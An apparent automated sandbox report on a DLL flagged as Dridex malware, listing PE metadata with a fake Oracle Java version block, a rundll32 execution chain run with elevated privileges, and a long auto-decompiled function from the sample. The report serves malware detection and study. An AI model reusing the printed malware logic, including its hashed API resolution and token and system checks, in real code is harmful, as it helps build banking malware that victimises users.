IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x88ac	0x8a00	False	0.429744112319	data	5.5827144419	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.rdata	0xa000	0xe67	0xa00	False	0.533203125	data	4.24112155096	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.pdata	0xb000	0x20542	0x1e400	False	0.850045196281	data	7.86800162035	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x2c000	0x390	0x400	False	0.41796875	data	3.02156416239	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x2d000	0x5f4	0x600	False	0.805338541667	data	5.88071347499	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_VERSION	0x2c060	0x32c	data

Imports

DLL	Import
ADVAPI32.dll	RegLoadAppKeyW, CloseEncryptedFileRaw
KERNEL32.dll	GetSystemDefaultUILanguage, LoadLibraryExA, CloseHandle, OutputDebugStringA, GetPriorityClass, LoadLibraryA, GetModuleHandleW
GDI32.dll	OffsetClipRgn
USER32.dll	EnumDisplayDevicesW, GetMenuState, TranslateMessage, DragDetect
WINTRUST.dll	CryptCATAdminCalcHashFromFileHandle

Version Infos

Description	Data
LegalCopyright	Copyright 2018
InternalName	ofl
FileVersion	1.3.6923.00
Full Version	1.3.6_000-b00
CompanyName	Oracle Corporation
ProductName	Ofll(EH) Watgevae KT 8
ProductVersion	1.3.6923.00
FileDescription	Java(TM) Platform SE binary
OriginalFilename	ofl.dll
Translation	0x0000 0x04b0

Network Behavior

No network behavior found

Code Manipulations

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 5916 Parent PID: 5544

General

Start time:	07:13:27
Start date:	13/05/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\3d006cd2_by_Libranalysis.dll'
Imagebase:	0xd20000
File size:	116736 bytes
MD5 hash:	542795ADF7CC08EFCF675D65310596E8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 5540 Parent PID: 5916

General

Start time:	07:13:28
Start date:	13/05/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\3d006cd2_by_Libranalysis.dll',#1
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 1308 Parent PID: 5540

General

Start time:	07:13:28
Start date:	13/05/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\3d006cd2_by_Libranalysis.dll',#1
Imagebase:	0x220000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000002.00000002.499605532.00000000705B1000.00000020.00020000.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 5916 Parent PID: 5544 loaddll32.exeCOMMON

Executed Functions

Non-executed Functions

Function 705B984D, Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.226273669.00000000705B7000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000000.00000002.226261001.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.226266403.00000000705B1000.00000020.00020000.sdmp Download File
Associated: 00000000.00000002.226280054.00000000705BA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.226285601.00000000705BB000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.226309431.00000000705DC000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 10c283ac193a3dca0382e3feda745f7540d8afcc3ce57627879a716682143005
Instruction ID: 2b6303df221aca080c84205336500614fa83547ae56e45d46e8f24054e8c5633
Opcode Fuzzy Hash: 10c283ac193a3dca0382e3feda745f7540d8afcc3ce57627879a716682143005
Instruction Fuzzy Hash: CCA002B581A10CDACB55DF9196041487670F725311F2075A5820456415F23516009A08

Uniqueness

Uniqueness Score: -1.00%

Function 705B7C88, Relevance: 6.5, Strings: 5, Instructions: 217COMMON

Download Yara Rule

Strings

eK!A, xrefs: 705B7C9A
eK!A, xrefs: 705B7CF3
e[!A, xrefs: 705B7E06
fK!A, xrefs: 705B7F26
wK!A, xrefs: 705B7D12

Memory Dump Source

Source File: 00000000.00000002.226273669.00000000705B7000.00000020.00020000.sdmp, Offset: 705B0000, based on PE: true

Associated: 00000000.00000002.226261001.00000000705B0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.226266403.00000000705B1000.00000020.00020000.sdmp Download File
Associated: 00000000.00000002.226280054.00000000705BA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.226285601.00000000705BB000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.226309431.00000000705DC000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: eK!A$eK!A$e[!A$fK!A$wK!A
API String ID: 0-2293122544
Opcode ID: 5e326dfdbcd535537e6e1f258d4a746bc2316a9dbfbcd30f38f28c1b799c83af
Instruction ID: 79ff7d1f6774aa6b7324c10e41a70e81176c626da3bfe2e1235d35a1c2822b2e
Opcode Fuzzy Hash: 5e326dfdbcd535537e6e1f258d4a746bc2316a9dbfbcd30f38f28c1b799c83af
Instruction Fuzzy Hash: 0EB1BCB5A083818FC364CF28C19079AFBE1BFD9304F54892EE5D89B351E735A844CB46

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: rundll32.exe PID: 1308 Parent PID: 5540 rundll32.exeCOMMON

Executed Functions

Function 705C07CC, Relevance: 5.1, APIs: 3, Instructions: 628
COMMONCrypto

Download Yara Rule

C-Code - Quality: 86%

			E705C07CC(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				void* _t152;
				void* _t155;
				signed char* _t156;
				char _t159;
				intOrPtr* _t163;
				void* _t177;
				intOrPtr _t186;
				char _t187;
				void* _t192;
				void* _t196;
				void* _t198;
				void* _t199;
				void* _t202;
				void* _t208;
				void* _t209;
				void* _t211;
				void* _t212;
				void* _t219;
				void* _t232;
				void* _t234;
				void* _t237;
				void* _t240;
				void* _t243;
				void* _t246;
				void* _t250;
				void* _t254;
				void* _t255;
				void* _t257;
				long _t258;
				void* _t261;
				void* _t264;
				int _t267;
				void* _t268;
				void* _t272;
				void* _t273;
				void* _t274;
				void* _t278;
				int _t280;
				intOrPtr* _t284;
				signed char _t288;
				signed char _t289;
				signed int _t293;
				void* _t314;
				void* _t319;
				void* _t355;
				void* _t364;
				void* _t369;
				void* _t374;
				void* _t375;
				void* _t376;
				void* _t377;
				void* _t378;
				void* _t379;
				void* _t385;
				void* _t392;
				signed int _t397;
				intOrPtr* _t400;
				void* _t403;
				signed int _t405;
				void* _t407;
				void* _t408;
				void* _t413;
				intOrPtr* _t417;
				void* _t419;
				void** _t421;
				void* _t422;
				void* _t423;
				void* _t424;

				_push(__esi);
				_push(__edi);
				_push(__ebx);
				_t423 = _t422 - 0x1e0;
				_t407 = __ecx;
				_t152 =  *0x705cd1f8;
				if(_t152 == 0x16a9e13a) {
					_t152 = E705C3558(0x30);
					 *0x705cd1f8 = _t152;
				}
				if( *((char*)(_t152 + 0xb)) == 0 || _t407 != 0) {
					_t408 = _t423 + 0x48;
					E705C35D4(_t408, 0, 0x11c);
					_t424 = _t423 + 0xc;
					 *((intOrPtr*)(_t424 + 0x48)) = 0x11c;
					_t155 = E705C2F94(0x4bcc7cba, 0xa7920a3, 0x4bcc7cba, 0x4bcc7cba);
					if(_t155 == 0) {
						_t395 =  *0x705cd1f8;
						_t156 = _t424 + 0x4c;
						_t288 =  *_t156;
						 *(_t395 + 8) = _t288;
						_t289 = _t156[4];
						 *(_t395 + 9) = _t289;
						__eflags = _t156[0x116] - 1;
						_t389 =  *(_t424 + 0x54);
						 *((char*)(_t395 + 0xa)) = _t156[0x110];
						 *(_t395 + 4) =  *(_t424 + 0x54);
						 *((char*)(_t395 + 0xc)) = 0 | _t156[0x116] != 0x00000001;
						 *_t395 = (_t289 & 0x000000ff) + ((_t288 & 0x000000ff) << 4) - 0x50;
						_t159 = E705C1094(_t395);
						 *(_t424 + 0x198) = 0;
						 *((char*)( *0x705cd1f8 + 0xb)) = _t159;
						_t355 = E705C2F94(0xd0443458, 0xd8ece5ad, _t159, _t159);
						__eflags = _t355;
						if(_t355 == 0) {
							L12:
							__eflags = 0;
							 *((char*)( *0x705cd1f8 + 0x28)) = 0;
							_t163 = E705C07CC(0x705cd1f8, 0, _t389, _t395);
							__eflags =  *_t163 - 0x10;
							if( *_t163 >= 0x10) {
								_t293 = 6;
								memcpy(_t424 + 0x164, 0x705cbc80, _t293 << 2);
								_t424 = _t424 + 0xc;
								_t392 = 0x705cbc80 + _t293 + _t293;
								 *((intOrPtr*)(_t424 + 0x1c)) = 0;
								E705BF620(_t424 + 0x24, 0);
								_t397 = 0;
								__eflags = 0;
								do {
									E705BF8C4(_t424 + 0x24, E705BF568(_t424 + 0x20) + 4);
									 *((intOrPtr*)(E705BF558(_t424 + 0x24, E705BF568(_t424 + 0x20) + 0xfffffffc))) =  *((intOrPtr*)(_t424 + 0x164 + _t397 * 4));
									_t397 = _t397 + 1;
									 *((intOrPtr*)(_t424 + 0x1c)) =  *((intOrPtr*)(_t424 + 0x1c)) + 1;
									__eflags = _t397 - 6;
								} while (_t397 < 6);
								_push(0);
								E705C54EC(_t424 + 0xc, _t424 + 0x1c, 0x80000002);
								E705BF6F0(_t424 + 0x20);
								E705C551C(_t424 + 8, _t424 + 0x1c0, 0x5411b30);
								_t177 = E705C57D0(_t424 + 4, __eflags,  *((intOrPtr*)(_t424 + 0x1c0)));
								_t398 = _t177;
								E705BE054(_t424 + 0x1c0);
								__eflags = _t177;
								if(_t177 != 0) {
									E705C551C(_t424 + 8, _t424 + 0x1c8, 0xdb1d9b48);
									_t413 = E705C57D0(_t424 + 4, __eflags,  *((intOrPtr*)(_t424 + 0x1c8)));
									E705BE054(_t424 + 0x1c8);
									_t398 = _t424 + 0x1d0;
									E705C551C(_t424 + 8, _t424 + 0x1d0, 0xf3453dd0);
									_t392 = E705C57D0(_t424 + 4, __eflags,  *(_t424 + 0x1d0));
									E705BE054(_t424 + 0x1d0);
									__eflags = _t413;
									if(_t413 != 0) {
										__eflags = _t413 - 5;
										if(_t413 != 5) {
											__eflags = _t413 - 2;
											if(_t413 != 2) {
												goto L58;
											} else {
												__eflags = _t392 - 1;
												if(_t392 != 1) {
													goto L58;
												} else {
													E705BD098(_t424 + 0xc);
													__eflags =  *((char*)(_t424 + 8));
													if( *((char*)(_t424 + 8)) != 0) {
														_t375 =  *(_t424 + 4);
														__eflags = _t375;
														if(_t375 == 0) {
															L53:
															_t237 = 1;
														} else {
															__eflags = _t375 - 0xffffffff;
															if(_t375 != 0xffffffff) {
																_t237 = 0;
																__eflags = 0;
															} else {
																goto L53;
															}
														}
														__eflags = _t237;
														if(_t237 == 0) {
															E705C54C4(_t375);
														}
													}
													 *(_t424 + 4) = 0;
													_t186 = 5;
												}
											}
										} else {
											__eflags = _t392;
											if(_t392 != 0) {
												__eflags = _t392 - 1;
												if(_t392 == 1) {
													E705BD098(_t424 + 0xc);
													__eflags =  *((char*)(_t424 + 8));
													if( *((char*)(_t424 + 8)) != 0) {
														_t376 =  *(_t424 + 4);
														__eflags = _t376;
														if(_t376 == 0) {
															L108:
															_t240 = 1;
														} else {
															__eflags = _t376 - 0xffffffff;
															if(_t376 != 0xffffffff) {
																_t240 = 0;
																__eflags = 0;
															} else {
																goto L108;
															}
														}
														__eflags = _t240;
														if(_t240 == 0) {
															E705C54C4(_t376);
														}
													}
													 *(_t424 + 4) = 0;
													_t186 = 4;
												} else {
													goto L58;
												}
											} else {
												E705BD098(_t424 + 0xc);
												__eflags =  *((char*)(_t424 + 8));
												if( *((char*)(_t424 + 8)) != 0) {
													_t377 =  *(_t424 + 4);
													__eflags = _t377;
													if(_t377 == 0) {
														L41:
														_t243 = 1;
													} else {
														__eflags = _t377 - 0xffffffff;
														if(_t377 != 0xffffffff) {
															_t243 = 0;
															__eflags = 0;
														} else {
															goto L41;
														}
													}
													__eflags = _t243;
													if(_t243 == 0) {
														E705C54C4(_t377);
													}
												}
												 *(_t424 + 4) = 0;
												_t186 = 3;
											}
										}
									} else {
										__eflags = _t392;
										if(_t392 != 0) {
											L58:
											E705BD098(_t424 + 0xc);
											__eflags =  *((char*)(_t424 + 8));
											if( *((char*)(_t424 + 8)) != 0) {
												_t374 =  *(_t424 + 4);
												__eflags = _t374;
												if(_t374 == 0) {
													L61:
													_t234 = 1;
												} else {
													__eflags = _t374 - 0xffffffff;
													if(_t374 != 0xffffffff) {
														_t234 = 0;
														__eflags = 0;
													} else {
														goto L61;
													}
												}
												__eflags = _t234;
												if(_t234 == 0) {
													E705C54C4(_t374);
												}
											}
											_t186 = 0;
											__eflags = 0;
											 *(_t424 + 4) = 0;
										} else {
											E705BD098(_t424 + 0xc);
											__eflags =  *((char*)(_t424 + 8));
											if( *((char*)(_t424 + 8)) != 0) {
												_t378 =  *(_t424 + 4);
												__eflags = _t378;
												if(_t378 == 0) {
													L31:
													_t246 = 1;
												} else {
													__eflags = _t378 - 0xffffffff;
													if(_t378 != 0xffffffff) {
														_t246 = 0;
														__eflags = 0;
													} else {
														goto L31;
													}
												}
												__eflags = _t246;
												if(_t246 == 0) {
													E705C54C4(_t378);
												}
											}
											 *(_t424 + 4) = 0;
											_t186 = 2;
										}
									}
								} else {
									E705BD098(_t424 + 0xc);
									__eflags =  *((char*)(_t424 + 8));
									if( *((char*)(_t424 + 8)) != 0) {
										_t379 =  *(_t424 + 4);
										__eflags = _t379;
										if(_t379 == 0) {
											L21:
											_t250 = 1;
										} else {
											__eflags = _t379 - 0xffffffff;
											if(_t379 != 0xffffffff) {
												_t250 = 0;
												__eflags = 0;
											} else {
												goto L21;
											}
										}
										__eflags = _t250;
										if(_t250 == 0) {
											E705C54C4(_t379);
										}
									}
									 *(_t424 + 4) = 0;
									_t186 = 1;
								}
							} else {
								_t186 = 1;
							}
							 *((intOrPtr*)( *0x705cd1f8 + 0x24)) = _t186;
							_t187 = E705C10CC(0xffffffffffffffff);
							_t314 =  *0x705cd1f8;
							 *((char*)(_t314 + 0x29)) = _t187;
							__eflags =  *_t314 - 0x10;
							 *((intOrPtr*)(_t314 + 0x20)) =  *((intOrPtr*)( *((intOrPtr*)( *[fs:0x18] + 0x30)) + 0x1d4));
							if( *_t314 >= 0x10) {
								__eflags = 0xffffffffffffffff;
								 *((intOrPtr*)( *0x705cd1f8 + 0x2c)) = E705C1140(0xffffffffffffffff, _t392, _t398);
								goto L78;
							} else {
								 *(_t424 + 0x19c) = 0;
								_t364 = E705C2F94(0xd0443458, 0xd8ece5ad, 0xd0443458, 0xd0443458);
								__eflags = _t364;
								if(_t364 == 0) {
									L74:
									_t196 =  *0x705cd1f8;
									__eflags =  *((char*)(_t196 + 0x28));
									if( *((char*)(_t196 + 0x28)) == 0) {
										 *((intOrPtr*)(_t196 + 0x2c)) = 3;
									} else {
										 *((intOrPtr*)(_t196 + 0x2c)) = 5;
									}
									goto L78;
								} else {
									_t198 =  *_t364(0xffffffff, 8, _t424 + 0x19c);
									__eflags = _t198;
									if(_t198 == 0) {
										_t199 = E705C352C(_t398);
										__eflags = _t199;
										if(_t199 != 0) {
											goto L74;
										} else {
											goto L69;
										}
									} else {
										L69:
										 *(_t424 + 0x30) =  *(_t424 + 0x19c);
										 *((char*)(_t424 + 0x34)) = 1;
										 *(_t424 + 0x1a4) = 0;
										_t319 = E705C2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
										__eflags = _t319;
										if(_t319 != 0) {
											_t232 =  *_t319( *(_t424 + 0x1ac), 1, 0, 0, _t424 + 0x1a4);
											__eflags = _t232;
											if(_t232 == 0) {
												E705C352C(_t398);
											}
										}
										_t202 =  *(_t424 + 0x1a4);
										__eflags = _t202;
										if(_t202 != 0) {
											E705BF620(_t424 + 0x18c, _t202);
											_t403 = E705C2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
											__eflags = _t403;
											if(_t403 == 0) {
												L124:
												E705BF6F0(_t424 + 0x188);
												goto L72;
											} else {
												_t208 = E705BF558(_t424 + 0x18c, 0);
												_t209 = E705BF568(_t424 + 0x188);
												_t211 =  *_t403( *(_t424 + 0x1ac), 1, _t208, _t209, _t424 + 0x1a4);
												__eflags = _t211;
												if(_t211 == 0) {
													_t212 = E705C352C(_t403);
													__eflags = _t212;
													if(_t212 != 0) {
														goto L124;
													} else {
														goto L116;
													}
												} else {
													L116:
													_t417 = E705BF558(_t424 + 0x18c, 0);
													E705BDFFC(_t424 + 0x1b4, 0);
													 *(_t424 + 0x1ac) = 0;
													_t369 = E705C2F94(0xd0443458, 0x39521505, 0xd0443458, 0xd0443458);
													__eflags = _t369;
													if(_t369 != 0) {
														 *_t369( *_t417, _t424 + 0x1ac);
													}
													E705BE070(_t424 + 0x1b4,  *(_t424 + 0x1ac));
													_t219 = E705C2F94(0x4bcc7cba, 0x1f221433, 0x4bcc7cba, 0x4bcc7cba);
													__eflags = _t219;
													if(_t219 == 0) {
														E705BE11C(_t424 + 0x1b8 - 8, _t424 + 0x1b8);
														_t419 = E705C4BE0( *((intOrPtr*)(_t424 + 0x1b8)), E705BE94C( *((intOrPtr*)(_t424 + 0x1b8)), 0x7fffffff));
														E705BE054(_t424 + 0x1b8);
														E705BE054(_t424 + 0x1b0);
														E705BF6F0(_t424 + 0x188);
														__eflags =  *((char*)(_t424 + 0x34));
														if( *((char*)(_t424 + 0x34)) != 0) {
															E705BBC00(_t424 + 0x30);
														}
														__eflags = _t419 - 0x6df4cf7;
														if(_t419 != 0x6df4cf7) {
															goto L74;
														} else {
															 *((intOrPtr*)( *0x705cd1f8 + 0x2c)) = 6;
															L78:
															_t192 = E705C2F94(0x4bcc7cba, 0x57154e4e, 0x4bcc7cba, 0x4bcc7cba);
															__eflags = _t192;
															if(_t192 != 0) {
																GetSystemInfo(_t424 + 0x164); // executed
															}
															_t152 =  *0x705cd1f8;
															_t284 = _t424 + 0x178;
															_t400 = _t424 + 0x170;
															 *((short*)(_t152 + 0xe)) =  *_t284;
															 *((intOrPtr*)(_t152 + 0x10)) =  *((intOrPtr*)(_t284 - 0x10));
															 *((intOrPtr*)(_t152 + 0x14)) =  *((intOrPtr*)(_t284 - 0xc));
															 *((intOrPtr*)(_t152 + 0x18)) =  *_t400;
															 *((intOrPtr*)(_t152 + 0x1c)) =  *((intOrPtr*)(_t400 + 0x10));
															goto L81;
														}
													} else {
														_push( *(_t424 + 0x1ac));
														asm("int3");
														return _t219;
													}
												}
											}
										} else {
											L72:
											__eflags =  *((char*)(_t424 + 0x34));
											if( *((char*)(_t424 + 0x34)) != 0) {
												E705BBC00(_t424 + 0x30);
											}
											goto L74;
										}
									}
								}
							}
						} else {
							_t254 =  *_t355(0xffffffff, 8, _t424 + 0x198);
							__eflags = _t254;
							if(_t254 == 0) {
								_t255 = E705C352C(_t395);
								__eflags = _t255;
								if(_t255 != 0) {
									goto L12;
								} else {
									goto L7;
								}
							} else {
								L7:
								 *(_t424 + 0x14) =  *(_t424 + 0x198);
								 *((char*)(_t424 + 0x18)) = 1;
								 *(_t424 + 0x1a0) = 0;
								_t257 = E705C2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
								__eflags = _t257;
								if(_t257 != 0) {
									_t280 = GetTokenInformation( *(_t424 + 0x1a8), 2, 0, 0, _t424 + 0x1a0); // executed
									__eflags = _t280;
									if(_t280 == 0) {
										E705C352C(_t395);
									}
								}
								_t258 =  *(_t424 + 0x1a0);
								__eflags = _t258;
								if(_t258 != 0) {
									E705BF620(_t424 + 0x3c, _t258);
									_t261 = E705C2F94(0xd0443458, 0x377f4b05, 0xd0443458, 0xd0443458);
									_t395 = _t261;
									__eflags = _t261;
									if(_t261 == 0) {
										L98:
										E705BF6F0(_t424 + 0x38);
										goto L10;
									} else {
										_t264 = E705BF558(_t424 + 0x3c, 0);
										_t267 = GetTokenInformation( *(_t424 + 0x1a8), 2, _t264, E705BF568(_t424 + 0x38), _t424 + 0x1a0); // executed
										__eflags = _t267;
										if(_t267 == 0) {
											_t268 = E705C352C(_t395);
											__eflags = _t268;
											if(_t268 != 0) {
												goto L98;
											} else {
												goto L85;
											}
										} else {
											L85:
											_t421 = E705BF558(_t424 + 0x3c, 0);
											_t389 = _t424 + 0x1d8;
											 *(_t424 + 0x1d8 - 0x30) = 0;
											asm("movsd");
											asm("movsb");
											asm("movsb");
											_t395 = E705C2F94(0xd0443458, 0xe6199b6e, 0xd0443458, 0xd0443458);
											__eflags = _t395;
											if(_t395 == 0) {
												goto L98;
											} else {
												_t272 = _t424 + 0x1a8;
												_t273 =  *_t395(_t272 + 0x30, 2, 0x20, 0x220, 0, 0, 0, 0, 0, 0, _t272);
												__eflags = _t273;
												if(_t273 == 0) {
													_t274 = E705C352C(_t395);
													__eflags = _t274;
													if(_t274 != 0) {
														goto L98;
													} else {
														goto L87;
													}
												} else {
													L87:
													_t389 =  *(_t424 + 0x1a8);
													__eflags =  *_t421;
													if( *_t421 <= 0) {
														L92:
														__eflags = _t389;
														if(_t389 == 0) {
															L94:
															_t385 = 1;
														} else {
															__eflags = _t389 - 0xffffffff;
															if(_t389 != 0xffffffff) {
																_t385 = 0;
																__eflags = 0;
															} else {
																goto L94;
															}
														}
														__eflags = _t385;
														if(_t385 == 0) {
															E705C1070(_t389, _t395, _t389);
														}
														goto L98;
													} else {
														_t405 = 0;
														__eflags = 0;
														while(1) {
															_t278 = E705C2F94(0xd0443458, 0x713d44b5, 0xd0443458, 0xd0443458);
															__eflags = _t278;
															if(_t278 != 0) {
																break;
															}
															_t405 = _t405 + 1;
															__eflags = _t405 -  *_t421;
															if(_t405 <  *_t421) {
																continue;
															} else {
																goto L92;
															}
															goto L130;
														}
														_push( *((intOrPtr*)(_t421 + 4 + _t405 * 8)));
														_push( *(_t424 + 0x1ac));
														asm("int3");
														return _t278;
													}
												}
											}
										}
									}
								} else {
									L10:
									__eflags =  *((char*)(_t424 + 0x18));
									if( *((char*)(_t424 + 0x18)) != 0) {
										E705BBC00(_t424 + 0x14);
									}
									goto L12;
								}
							}
						}
					} else {
						_push(_t408);
						asm("int3");
						return _t155;
					}
				} else {
					L81:
					return _t152;
				}
				L130:
			}

0x705c07cc
0x705c07cd
0x705c07ce
0x705c07d0
0x705c07db
0x705c07dd
0x705c07e4
0x705c1063
0x705c1069
0x705c1069
0x705c07ee
0x705c07fa
0x705c0806
0x705c080b
0x705c0818
0x705c0822
0x705c0829
0x705c082e
0x705c0832
0x705c0836
0x705c083b
0x705c083e
0x705c0844
0x705c084a
0x705c0857
0x705c085e
0x705c0865
0x705c0868
0x705c086b
0x705c086d
0x705c0879
0x705c0886
0x705c0893
0x705c0895
0x705c0897
0x705c0923
0x705c0923
0x705c0929
0x705c092c
0x705c0931
0x705c0934
0x705c094c
0x705c094d
0x705c094d
0x705c094d
0x705c0951
0x705c095a
0x705c095f
0x705c095f
0x705c0961
0x705c0972
0x705c0994
0x705c0996
0x705c0997
0x705c099b
0x705c099b
0x705c09a4
0x705c09b0
0x705c09b9
0x705c09cf
0x705c09df
0x705c09e4
0x705c09e8
0x705c09ed
0x705c09ef
0x705c0a3f
0x705c0a54
0x705c0a58
0x705c0a5d
0x705c0a6e
0x705c0a83
0x705c0a87
0x705c0a8c
0x705c0a8e
0x705c0ad5
0x705c0ad8
0x705c0b26
0x705c0b29
0x00000000
0x705c0b2b
0x705c0b2b
0x705c0b2e
0x00000000
0x705c0b30
0x705c0b34
0x705c0b39
0x705c0b3e
0x705c0b40
0x705c0b44
0x705c0b46
0x705c0b4d
0x705c0b4d
0x705c0b48
0x705c0b48
0x705c0b4b
0x705c0b51
0x705c0b51
0x00000000
0x00000000
0x00000000
0x705c0b4b
0x705c0b53
0x705c0b55
0x705c0b58
0x705c0b58
0x705c0b55
0x705c0b5d
0x705c0b67
0x705c0b67
0x705c0b2e
0x705c0ada
0x705c0ada
0x705c0adc
0x705c0b1b
0x705c0b1e
0x705c0e90
0x705c0e95
0x705c0e9a
0x705c0e9c
0x705c0ea0
0x705c0ea2
0x705c0ea9
0x705c0ea9
0x705c0ea4
0x705c0ea4
0x705c0ea7
0x705c0ead
0x705c0ead
0x00000000
0x00000000
0x00000000
0x705c0ea7
0x705c0eaf
0x705c0eb1
0x705c0eb4
0x705c0eb4
0x705c0eb1
0x705c0eb9
0x705c0ec3
0x705c0b24
0x00000000
0x705c0b24
0x705c0ade
0x705c0ae2
0x705c0ae7
0x705c0aec
0x705c0aee
0x705c0af2
0x705c0af4
0x705c0afb
0x705c0afb
0x705c0af6
0x705c0af6
0x705c0af9
0x705c0aff
0x705c0aff
0x00000000
0x00000000
0x00000000
0x705c0af9
0x705c0b01
0x705c0b03
0x705c0b06
0x705c0b06
0x705c0b03
0x705c0b0b
0x705c0b15
0x705c0b15
0x705c0adc
0x705c0a90
0x705c0a90
0x705c0a92
0x705c0b6a
0x705c0b6e
0x705c0b73
0x705c0b78
0x705c0b7a
0x705c0b7e
0x705c0b80
0x705c0b87
0x705c0b87
0x705c0b82
0x705c0b82
0x705c0b85
0x705c0b8b
0x705c0b8b
0x00000000
0x00000000
0x00000000
0x705c0b85
0x705c0b8d
0x705c0b8f
0x705c0b92
0x705c0b92
0x705c0b8f
0x705c0b97
0x705c0b97
0x705c0b99
0x705c0a98
0x705c0a9c
0x705c0aa1
0x705c0aa6
0x705c0aa8
0x705c0aac
0x705c0aae
0x705c0ab5
0x705c0ab5
0x705c0ab0
0x705c0ab0
0x705c0ab3
0x705c0ab9
0x705c0ab9
0x00000000
0x00000000
0x00000000
0x705c0ab3
0x705c0abb
0x705c0abd
0x705c0ac0
0x705c0ac0
0x705c0abd
0x705c0ac5
0x705c0acf
0x705c0acf
0x705c0a92
0x705c09f1
0x705c09f5
0x705c09fa
0x705c09ff
0x705c0a01
0x705c0a05
0x705c0a07
0x705c0a0e
0x705c0a0e
0x705c0a09
0x705c0a09
0x705c0a0c
0x705c0a12
0x705c0a12
0x00000000
0x00000000
0x00000000
0x705c0a0c
0x705c0a14
0x705c0a16
0x705c0a19
0x705c0a19
0x705c0a16
0x705c0a1e
0x705c0a28
0x705c0a28
0x705c0936
0x705c0938
0x705c0938
0x705c0ba2
0x705c0ba5
0x705c0baa
0x705c0bac
0x705c0bb5
0x705c0bc1
0x705c0bc4
0x705c0c92
0x705c0c9a
0x00000000
0x705c0bca
0x705c0bd4
0x705c0be6
0x705c0be8
0x705c0bea
0x705c0c76
0x705c0c76
0x705c0c78
0x705c0c7c
0x705c0c87
0x705c0c7e
0x705c0c7e
0x705c0c7e
0x00000000
0x705c0bf0
0x705c0bfc
0x705c0bfe
0x705c0c00
0x705c104f
0x705c1054
0x705c1056
0x00000000
0x705c105c
0x00000000
0x705c105c
0x705c0c06
0x705c0c06
0x705c0c17
0x705c0c1b
0x705c0c20
0x705c0c32
0x705c0c34
0x705c0c36
0x705c0c4d
0x705c0c4f
0x705c0c51
0x705c0ec9
0x705c0ec9
0x705c0c51
0x705c0c57
0x705c0c5e
0x705c0c60
0x705c0edb
0x705c0ef1
0x705c0ef3
0x705c0ef5
0x705c1030
0x705c1037
0x00000000
0x705c0efb
0x705c0f04
0x705c0f12
0x705c0f2c
0x705c0f2e
0x705c0f30
0x705c1041
0x705c1046
0x705c1048
0x00000000
0x705c104a
0x00000000
0x705c104a
0x705c0f36
0x705c0f36
0x705c0f44
0x705c0f4f
0x705c0f5e
0x705c0f70
0x705c0f72
0x705c0f74
0x705c0f81
0x705c0f81
0x705c0f91
0x705c0fa2
0x705c0fa7
0x705c0fa9
0x705c0fbf
0x705c0fe0
0x705c0fe9
0x705c0ff5
0x705c1001
0x705c1006
0x705c100b
0x705c1011
0x705c1011
0x705c1016
0x705c101c
0x00000000
0x705c1022
0x705c1024
0x705c0c9d
0x705c0ca9
0x705c0cb0
0x705c0cb2
0x705c0cbc
0x705c0cbc
0x705c0cbe
0x705c0cc0
0x705c0ccf
0x705c0cdb
0x705c0cdf
0x705c0ce2
0x705c0ce5
0x705c0ce8
0x00000000
0x705c0ce8
0x705c0fab
0x705c0fab
0x705c0fb2
0x705c0fb3
0x705c0fb3
0x705c0fa9
0x705c0f30
0x705c0c66
0x705c0c66
0x705c0c66
0x705c0c6b
0x705c0c71
0x705c0c71
0x00000000
0x705c0c6b
0x705c0c60
0x705c0c00
0x705c0bea
